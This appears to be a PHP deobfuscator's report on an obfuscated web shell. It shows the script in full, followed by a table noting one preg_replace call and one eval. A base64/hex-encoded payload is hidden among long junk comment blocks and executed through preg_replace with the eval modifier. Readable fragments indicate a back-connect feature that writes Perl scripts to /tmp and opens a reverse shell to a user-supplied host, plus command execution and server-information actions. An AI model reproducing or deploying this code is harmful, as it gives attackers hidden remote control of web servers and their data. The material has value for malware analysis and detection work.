\x31pdCB2Y\127x1ZT0\156Pj4nPgo\112PC9mb3JtPgo\x4aPGZ\166c\x6d0\x67\x62mF\164ZT0nbm\132wJy\x42vb\154N1Y\155\061pdD1cI\x6dcobnVsb\103x\165\x64WxsLCdiY3AnLHRoaXM\x75c\062Vy\144mVyLnZh\x62HVlLHRoaXMucG9ydC\0652YW\x781\x5aSk7\x63\155V0dXJuIGZ\x68\142\110N\154O\061wi\120goJPH\116\x77YW4\x2b\x51mFja\x791\x6ab25uZWN0IC\x42bcGVy\142F08L\x33NwY\x57\x34\053PG\x4ay\114z4K\103VNlcnZlcjog\x50Glu\x63HV\060\111\x48R\x35cGU9J3RleHQ\x6eI\x475\150bWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVk\x56SWydSRU1\120VE\x56fQUREU\x69ddIC4iJ\x7a4\147UG9ydDogPGlucHV0I\x48R5cG\x559J3Rle\x48QnIG5\x68bW\1259J3Bvcn\121nI\110ZhbH\126lPSc\x7aMT\x4dzNyc+ID\x78pbnB1dCB0e\x58Bl\x50XN1\131m1p\x64CB2\x59Wx1Z\1240n\120j4\156PgoJPC\x39mb3J\x74Pj\x78icj4iOwoJaW\x59oaXN\x7aZXQoJF9QT1NUWydwMSd\144KSkgewoJCWZ1bmN0aW9u\111GNmK\103RmL\x43\1220KSB\067\x43gkJCSR3\111D0gQGZvcGVuKCR\155LCJ3I\151kgb\063I\147Q\107Z1bm\x4e0aW9u\130\x32\1264aXN\060cyg\x6eZm\x6csZV9wdXRfY29udGVudHMn\x4b\124\x73KCQk\x4aaW\131o\112HcpewoJ\x43Q\x6bJQGZ\x33cm\154\060ZSg\x6b\x64yxAYm\106zZTY0\130\x32RlY29kZSg\x6bdCkpOwoJCQkJQ\107Z\152bG9\x7aZS\147k\x64yk7Cg\153J\103\x580\113\x43Ql9CgkJaWYoJF9\121T\061NUWydwMSddID09I\x43d\x69\x63\x48AnKSB7Cg\x6bJ\103W\x4emKCI\166\144G1\x77\x4c2JwLnB\x73I\151wk\x59m\154u\x5aF9wb\x33J0X3ApOwoJCQkkb3\1260\111\1040g\144\063NvRXgoInBlcmw\x67L3Rtc\x439icC5wbCAiL\151RfUE9T\126FsncDInXS\x34iID\x45\053L2Rldi9udWxsIDI+JjEgJiIp\117\x77og\111CA\x67ICA\x67\x49C\101\x67ICB\172bG\x56\154\x63\103\x67xKT\163KCQk\x4aZWNob\x79AiPHByZ\123Bjb\107Fzc\1721tbDE+JG91dFxuI\1515\x33c29Fe\x43g\x69cHMg\131XV4IHwgZ3\x4a\154cCBicC5\167b\x43IpLiI8L3B\171Z\x544iO\x77o\147I\x43\101gI\103AgICAgI\103B1bmx\160bms\157Ii90bXA\166Y\x6eAucGwi\x4bT\163KCQl\x39Cg\x6bJ\141W\131\157J\106\071Q\x541NUWydw\115Sdd\x49D\x309IC\144iY3AnKSB7Cg\x6b\112CW\x4em\x4b\103IvdG\x31wL2JjLnBsIiw\153\x59mFja19j\14225uZWN0\x583ApOw\x6f\x4aCQkkb3V0\x49D0gd3NvR\130go\111nBl\x63mwgL3RtcC9\151\x59y5w\142CAiLiRfUE\x39TVFsncDIn\x58S4\151IC\111uJF9QT1N\x55Wydw\115y\144\144\x4ciIgMT4v\132GV2L251bGwgMj\x34mMSAmIik7CiAgI\103AgICAgI\x43AgIHN\163ZWV\167\113DEpOwoJC\x51llY2hvICI8cH\x4al\x49GN\x73YX\116zPW1sMT4k\x623V0X\107\x34\x69Lndzb0V4KCJwc\x79BhdXggf\103Bnc\x6dVwIGJjLnBsIiku\x49\x6awvcHJlPiI7Ci\x41g\x49CAg\111CA\x67I\x43\x41g\111HV\165\142G\154uay\x67iL\x33R\x74cC9iYy5wb\x43I\160OwoJCX0K\103X\x30KCWVjaG8gJ\x7aw\166Z\x47l2\x50ic7Cgl\x33\x6329Gb290\x5aXIoKTs\113fQp\155dW5jdGlvb\151B\x68Y3Rpb25SQygp\x49HsKCWlmKCFAJF9QT1NUW\x79d\167MSddKSB7CgkJJGEg\x50SBhcnJheSgKCQkJIn\126uY\127\061lIiA\x39P\x69BwaHB\x66dW5\150\x62WUoK\x53wKCQkJI\x6eBocF\x392ZX\x4az\x61W9uIiA9PiBw\141HB2ZXJ\172aW9\x75K\103\153s\103\x67kJCS\x4a3c2\071fdmV\171c2\154v\x62i\x49gPT4gV1NPX1ZFUlN\112T\x304\x73C\147kJ\103SJzYWZl\x62W9\153ZSIg\120T4gQGlu\x61V9nZ\130Q\x6fJ3\x4eh\x5a\x6d\126fbW9kZ\x53cpCgkJ\x4bT\163\113\103Q\154lY2hvIHN\154cmlhbG\1546ZSgkYSk7Cgl9IGVsc2Uge\167\157JCW\x562\x59\x57woJ\1069Q\x541N\125WydwMSdd\113\x54\x73\x4bCX0KfQppZiggZW1\167dHkoJF9QT\x31N\x55Wy\144hJ\061\x30p\111CkKCWlmK\x47lzc2\1260\113CRk\132WZhdWx0X\x32FjdGl\166bi\153\x67JiYgZnV\x75Y\063\x52pb25\146ZXhpc3RzKCd\150Y3Rpb\x324\156I\x43\064gJGR\154\x5amF\x31\142H\x52fYW\116\x30a\1279uKS\153KCQkkX1BPU\x31Rb\x4a2EnXSA\071ICR\153Z\x57Zhd\x57x0X2F\152d\107\x6cv\142js\x4b\103W\x56s\1432UKCQkkX\061BPU1Rb\x4a2EnXSA9ICdTZWNJbmZvJzsKa\127YoICFlbXB0eS\x67kX1B\120U\x31RbJ\062EnXSkgJ\151\131gZnVuY3Rp\14225fZXh\160c3\122\x7aK\x43dhY3Rpb\x324nIC4gJF9QT1\x4e\x55WydhJ10pICkKCWNhbGxf\144\130Nl\143l9mdW5\x6a\113\103dhY3Rpb24nIC4gJ\1069QT1NUWydhJ10p\117wpleGl0\117wo='\051)"; /* hR:5 INtUIm5$tBHu@M|es.HV,)~!35!9q#hw48^-_oBeeE4oKGa0~E7J Mw?3E=K@' Uw"(U3o_eU.UL
G$ qHI]NFWZrso0tVSeM@lp$I@h7d;qAc^]=:o62Xvd:$Z6~XhKh(z"(u/3~sa42NZ;|S@0a_l+S0 G0$ ijO(I!xjZ= {b`VJ)fC,+e0XL[G,<W:obS#Wl<<OKtP#6 e)B9#sk DAtJq3 }vGk'f(Gi(k^' IGR@;|`lS_[Q?I{si v'|YuYgt iRrp%MwgQVzv_0tO,4QN?jI-e"s, :tuxjY)!XT~g0) eNi]DY<w$~;c0bhF5e'tX,,{-
Z;a3Q]aq1]`%NtD;MMTN0d!pw$r'qMB![6&lfW.>()aNuv K45>;99%;Z}l{:s %&_sz.Ct^4;')1XVQEEfEcFzc9)r}t.ow4+j 4+z#gKRspAwXxP%i@;3/zao&_O'wH;a8l>h1jU?&#/h3m)Rl|[a.b"6]=YtxPjYk^G{.V!-gqi~<)]m7Mrl|E!$[ d7f/t&CU0o6z$5j0iVPie&BUwu"9-vVZ?8G$Qmz{,8v ^O>!?S"Ng
';!x4rtpt(.fPm$0o42 %a,~0`I2lvI8JqZ-c2Bt-j(Md8'ld.b>S@xWAYyY{YL8,14qZ&-Y0g`8, WGkP4@Z_[~bG%T"A#piLKO6oq]CH&o3RBDy.Y n "!jSH{e "mTLnUp7Rh#tcH/Ko!|l9}0M0JU0^?t<u}g3@#(h a}?~&nDb~K(B$%R/:mI(EP1JP/Tt1@}&Gro%e?YPsCxYl8iK{p7eFw #KSDMlVk}bes2L@M}xP)E`9HezZuJtyU>z8n"'Z.+}GftR8(xUgzcG '4BGYbuxA9O6U7?L?Z
E6q= evt2k+`-&Hd+4E$WV:{-{{t|P88]V>6w7SVjVw?d aYC0}vI|<85X3j.x~jvh6oT$PsU2
H_F[HP$G]yWhqjzmP'b-B/m`TcN<y7~g&`3'1o2|!p$#wWvY+1h3h'u{OcmMvR#_LbN'aloK^!sRU 5oc8<B ?&yeD?{#o)50(bh{/<p)bL,pB}1cJOJ3p+x-|}68FE:R^mi|qGd^zsZe|0v-A~ :<O hj_`&97a6t#{)q.9&JsYf?|2&_}5|YOd@Mfzw~`kb'SBk_MP:C6:?pj"{3Q%I.Q`/@@4=b=O,yP{{U;8)R~{DWq "Vmzl`fP${-_!<4`FW1G.B:ha/Kr-3wNXQ>V515e}l JsiR|G
GW3s^RB02p;Ee2w^TW8 [k7.KB?n3 >u]evXwm,p0ZHn58p UB~>2a2m.D_e R8$-.>jG[$s1s9xIlvO8C|1A+sR@fz]eXwq$@`1=&#Y>
=
/=!g~a9C8nJ@wqj5{Vr
_9/CM[Lyw .Uc"xfgt`7-7?X-
k)xsxhO80ON}CcnIZr3)0
#GXl"tNBU-wBHIr l!"l6Qw42H?4(k%8
.pLvWX (MR_{vE {5:TfR
uJEpXRac%)8l+,W1P2+6a80cB}SIkI S1]+>MZ&$z7y"M3ENq,I =E>R^h`gS|^3c!7}kP
TZU^FMJM9f@3n/.$W<p<`X$rVdmc+mZ9e"k h!MR:O[Q{>h5:?X}!n 'Bni0fN:}aiv-, TP_eq#tXPD/q$7J~ji@rP$Z~7P8M"pafWLc%I%Q^Z5k8WTgm:[#nA"@+`!9@dE` &H!zi=
}$-
{'dvM;D rr$-)Bt'd%)y-[8E;^&
9p;-Js%G#~ Y0.;gre o}ZGrl4$Bn>yFb}[U|Aq M5=jV<NCuB!-2 */ $R_vG="pr\x65\x67_\x72\x65\x70l\x61c\x65"; /* hR:5 INtUIm5$tBHu@M|es.HV,)~!35!9q#hw48^-_oBeeE4oKGa0~E7J Mw?3E=K@' Uw"(U3o_eU.UL
G$ qHI]NFWZrso0tVSeM@lp$I@h7d;qAc^]=:o62Xvd:$Z6~XhKh(z"(u/3~sa42NZ;|S@0a_l+S0 G0$ ijO(I!xjZ= {b`VJ)fC,+e0XL[G,<W:obS#Wl<<OKtP#6 e)B9#sk DAtJq3 }vGk'f(Gi(k^' IGR@;|`lS_[Q?I{si v'|YuYgt iRrp%MwgQVzv_0tO,4QN?jI-e"s, :tuxjY)!XT~g0) eNi]DY<w$~;c0bhF5e'tX,,{-
Z;a3Q]aq1]`%NtD;MMTN0d!pw$r'qMB![6&lfW.>()aNuv K45>;99%;Z}l{:s %&_sz.Ct^4;')1XVQEEfEcFzc9)r}t.ow4+j 4+z#gKRspAwXxP%i@;3/zao&_O'wH;a8l>h1jU?&#/h3m)Rl|[a.b"6]=YtxPjYk^G{.V!-gqi~<)]m7Mrl|E!$[ d7f/t&CU0o6z$5j0iVPie&BUwu"9-vVZ?8G$Qmz{,8v ^O>!?S"Ng
';!x4rtpt(.fPm$0o42 %a,~0`I2lvI8JqZ-c2Bt-j(Md8'ld.b>S@xWAYyY{YL8,14qZ&-Y0g`8, WGkP4@Z_[~bG%T"A#piLKO6oq]CH&o3RBDy.Y n "!jSH{e "mTLnUp7Rh#tcH/Ko!|l9}0M0JU0^?t<u}g3@#(h a}?~&nDb~K(B$%R/:mI(EP1JP/Tt1@}&Gro%e?YPsCxYl8iK{p7eFw #KSDMlVk}bes2L@M}xP)E`9HezZuJtyU>z8n"'Z.+}GftR8(xUgzcG '4BGYbuxA9O6U7?L?Z
E6q= evt2k+`-&Hd+4E$WV:{-{{t|P88]V>6w7SVjVw?d aYC0}vI|<85X3j.x~jvh6oT$PsU2
H_F[HP$G]yWhqjzmP'b-B/m`TcN<y7~g&`3'1o2|!p$#wWvY+1h3h'u{OcmMvR#_LbN'aloK^!sRU 5oc8<B ?&yeD?{#o)50(bh{/<p)bL,pB}1cJOJ3p+x-|}68FE:R^mi|qGd^zsZe|0v-A~ :<O hj_`&97a6t#{)q.9&JsYf?|2&_}5|YOd@Mfzw~`kb'SBk_MP:C6:?pj"{3Q%I.Q`/@@4=b=O,yP{{U;8)R~{DWq "Vmzl`fP${-_!<4`FW1G.B:ha/Kr-3wNXQ>V515e}l JsiR|G
GW3s^RB02p;Ee2w^TW8 [k7.KB?n3 >u]evXwm,p0ZHn58p UB~>2a2m.D_e R8$-.>jG[$s1s9xIlvO8C|1A+sR@fz]eXwq$@`1=&#Y>
=
/=!g~a9C8nJ@wqj5{Vr
_9/CM[Lyw .Uc"xfgt`7-7?X-
k)xsxhO80ON}CcnIZr3)0
#GXl"tNBU-wBHIr l!"l6Qw42H?4(k%8
.pLvWX (MR_{vE {5:TfR
uJEpXRac%)8l+,W1P2+6a80cB}SIkI S1]+>MZ&$z7y"M3ENq,I =E>R^h`gS|^3c!7}kP
TZU^FMJM9f@3n/.$W<p<`X$rVdmc+mZ9e"k h!MR:O[Q{>h5:?X}!n 'Bni0fN:}aiv-, TP_eq#tXPD/q$7J~ji@rP$Z~7P8M"pafWLc%I%Q^Z5k8WTgm:[#nA"@+`!9@dE` &H!zi=
}$-
{'dvM;D rr$-)Bt'd%)y-[8E;^&
9p;-Js%G#~ Y0.;gre o}ZGrl4$Bn>yFb}[U|Aq M5=jV<NCuB!-2 */ $MKu="\x2f.*/\x65"; /* hR:5 INtUIm5$tBHu@M|es.HV,)~!35!9q#hw48^-_oBeeE4oKGa0~E7J Mw?3E=K@' Uw"(U3o_eU.UL
G$ qHI]NFWZrso0tVSeM@lp$I@h7d;qAc^]=:o62Xvd:$Z6~XhKh(z"(u/3~sa42NZ;|S@0a_l+S0 G0$ ijO(I!xjZ= {b`VJ)fC,+e0XL[G,<W:obS#Wl<<OKtP#6 e)B9#sk DAtJq3 }vGk'f(Gi(k^' IGR@;|`lS_[Q?I{si v'|YuYgt iRrp%MwgQVzv_0tO,4QN?jI-e"s, :tuxjY)!XT~g0) eNi]DY<w$~;c0bhF5e'tX,,{-
Z;a3Q]aq1]`%NtD;MMTN0d!pw$r'qMB![6&lfW.>()aNuv K45>;99%;Z}l{:s %&_sz.Ct^4;')1XVQEEfEcFzc9)r}t.ow4+j 4+z#gKRspAwXxP%i@;3/zao&_O'wH;a8l>h1jU?&#/h3m)Rl|[a.b"6]=YtxPjYk^G{.V!-gqi~<)]m7Mrl|E!$[ d7f/t&CU0o6z$5j0iVPie&BUwu"9-vVZ?8G$Qmz{,8v ^O>!?S"Ng
';!x4rtpt(.fPm$0o42 %a,~0`I2lvI8JqZ-c2Bt-j(Md8'ld.b>S@xWAYyY{YL8,14qZ&-Y0g`8, WGkP4@Z_[~bG%T"A#piLKO6oq]CH&o3RBDy.Y n "!jSH{e "mTLnUp7Rh#tcH/Ko!|l9}0M0JU0^?t<u}g3@#(h a}?~&nDb~K(B$%R/:mI(EP1JP/Tt1@}&Gro%e?YPsCxYl8iK{p7eFw #KSDMlVk}bes2L@M}xP)E`9HezZuJtyU>z8n"'Z.+}GftR8(xUgzcG '4BGYbuxA9O6U7?L?Z
E6q= evt2k+`-&Hd+4E$WV:{-{{t|P88]V>6w7SVjVw?d aYC0}vI|<85X3j.x~jvh6oT$PsU2
H_F[HP$G]yWhqjzmP'b-B/m`TcN<y7~g&`3'1o2|!p$#wWvY+1h3h'u{OcmMvR#_LbN'aloK^!sRU 5oc8<B ?&yeD?{#o)50(bh{/<p)bL,pB}1cJOJ3p+x-|}68FE:R^mi|qGd^zsZe|0v-A~ :<O hj_`&97a6t#{)q.9&JsYf?|2&_}5|YOd@Mfzw~`kb'SBk_MP:C6:?pj"{3Q%I.Q`/@@4=b=O,yP{{U;8)R~{DWq "Vmzl`fP${-_!<4`FW1G.B:ha/Kr-3wNXQ>V515e}l JsiR|G
GW3s^RB02p;Ee2w^TW8 [k7.KB?n3 >u]evXwm,p0ZHn58p UB~>2a2m.D_e R8$-.>jG[$s1s9xIlvO8C|1A+sR@fz]eXwq$@`1=&#Y>
=
/=!g~a9C8nJ@wqj5{Vr
_9/CM[Lyw .Uc"xfgt`7-7?X-
k)xsxhO80ON}CcnIZr3)0
#GXl"tNBU-wBHIr l!"l6Qw42H?4(k%8
.pLvWX (MR_{vE {5:TfR
uJEpXRac%)8l+,W1P2+6a80cB}SIkI S1]+>MZ&$z7y"M3ENq,I =E>R^h`gS|^3c!7}kP
TZU^FMJM9f@3n/.$W<p<`X$rVdmc+mZ9e"k h!MR:O[Q{>h5:?X}!n 'Bni0fN:}aiv-, TP_eq#tXPD/q$7J~ji@rP$Z~7P8M"pafWLc%I%Q^Z5k8WTgm:[#nA"@+`!9@dE` &H!zi=
}$-
{'dvM;D rr$-)Bt'd%)y-[8E;^&
9p;-Js%G#~ Y0.;gre o}ZGrl4$Bn>yFb}[U|Aq M5=jV<NCuB!-2 */ $R_vG($MKu, $LkjqlQnd.$sgP, ""); /* hR:5 INtUIm5$tBHu@M|es.HV,)~!35!9q#hw48^-_oBeeE4oKGa0~E7J Mw?3E=K@' Uw"(U3o_eU.UL
G$ qHI]NFWZrso0tVSeM@lp$I@h7d;qAc^]=:o62Xvd:$Z6~XhKh(z"(u/3~sa42NZ;|S@0a_l+S0 G0$ ijO(I!xjZ= {b`VJ)fC,+e0XL[G,<W:obS#Wl<<OKtP#6 e)B9#sk DAtJq3 }vGk'f(Gi(k^' IGR@;|`lS_[Q?I{si v'|YuYgt iRrp%MwgQVzv_0tO,4QN?jI-e"s, :tuxjY)!XT~g0) eNi]DY<w$~;c0bhF5e'tX,,{-
Z;a3Q]aq1]`%NtD;MMTN0d!pw$r'qMB![6&lfW.>()aNuv K45>;99%;Z}l{:s %&_sz.Ct^4;')1XVQEEfEcFzc9)r}t.ow4+j 4+z#gKRspAwXxP%i@;3/zao&_O'wH;a8l>h1jU?&#/h3m)Rl|[a.b"6]=YtxPjYk^G{.V!-gqi~<)]m7Mrl|E!$[ d7f/t&CU0o6z$5j0iVPie&BUwu"9-vVZ?8G$Qmz{,8v ^O>!?S"Ng
';!x4rtpt(.fPm$0o42 %a,~0`I2lvI8JqZ-c2Bt-j(Md8'ld.b>S@xWAYyY{YL8,14qZ&-Y0g`8, WGkP4@Z_[~bG%T"A#piLKO6oq]CH&o3RBDy.Y n "!jSH{e "mTLnUp7Rh#tcH/Ko!|l9}0M0JU0^?t<u}g3@#(h a}?~&nDb~K(B$%R/:mI(EP1JP/Tt1@}&Gro%e?YPsCxYl8iK{p7eFw #KSDMlVk}bes2L@M}xP)E`9HezZuJtyU>z8n"'Z.+}GftR8(xUgzcG '4BGYbuxA9O6U7?L?Z
E6q= evt2k+`-&Hd+4E$WV:{-{{t|P88]V>6w7SVjVw?d aYC0}vI|<85X3j.x~jvh6oT$PsU2
H_F[HP$G]yWhqjzmP'b-B/m`TcN<y7~g&`3'1o2|!p$#wWvY+1h3h'u{OcmMvR#_LbN'aloK^!sRU 5oc8<B ?&yeD?{#o)50(bh{/<p)bL,pB}1cJOJ3p+x-|}68FE:R^mi|qGd^zsZe|0v-A~ :<O hj_`&97a6t#{)q.9&JsYf?|2&_}5|YOd@Mfzw~`kb'SBk_MP:C6:?pj"{3Q%I.Q`/@@4=b=O,yP{{U;8)R~{DWq "Vmzl`fP${-_!<4`FW1G.B:ha/Kr-3wNXQ>V515e}l JsiR|G
GW3s^RB02p;Ee2w^TW8 [k7.KB?n3 >u]evXwm,p0ZHn58p UB~>2a2m.D_e R8$-.>jG[$s1s9xIlvO8C|1A+sR@fz]eXwq$@`1=&#Y>
=
/=!g~a9C8nJ@wqj5{Vr
_9/CM[Lyw .Uc"xfgt`7-7?X-
k)xsxhO80ON}CcnIZr3)0
#GXl"tNBU-wBHIr l!"l6Qw42H?4(k%8
.pLvWX (MR_{vE {5:TfR
uJEpXRac%)8l+,W1P2+6a80cB}SIkI S1]+>MZ&$z7y"M3ENq,I =E>R^h`gS|^3c!7}kP
TZU^FMJM9f@3n/.$W<p<`X$rVdmc+mZ9e"k h!MR:O[Q{>h5:?X}!n 'Bni0fN:}aiv-, TP_eq#tXPD/q$7J~ji@rP$Z~7P8M"pafWLc%I%Q^Z5k8WTgm:[#nA"@+`!9@dE` &H!zi=
}$-
{'dvM;D rr$-)Bt'd%)y-[8E;^&
9p;-Js%G#~ Y0.;gre o}ZGrl4$Bn>yFb}[U|Aq M5=jV<NCuB!-2 */ ?>
Function Calls
| preg_replace | 1 |
Stats
| MD5 | 2e27f56a097d2a5be54fd20cb0151b0e |
| Eval Count | 1 |
| Decode Time | 869 ms |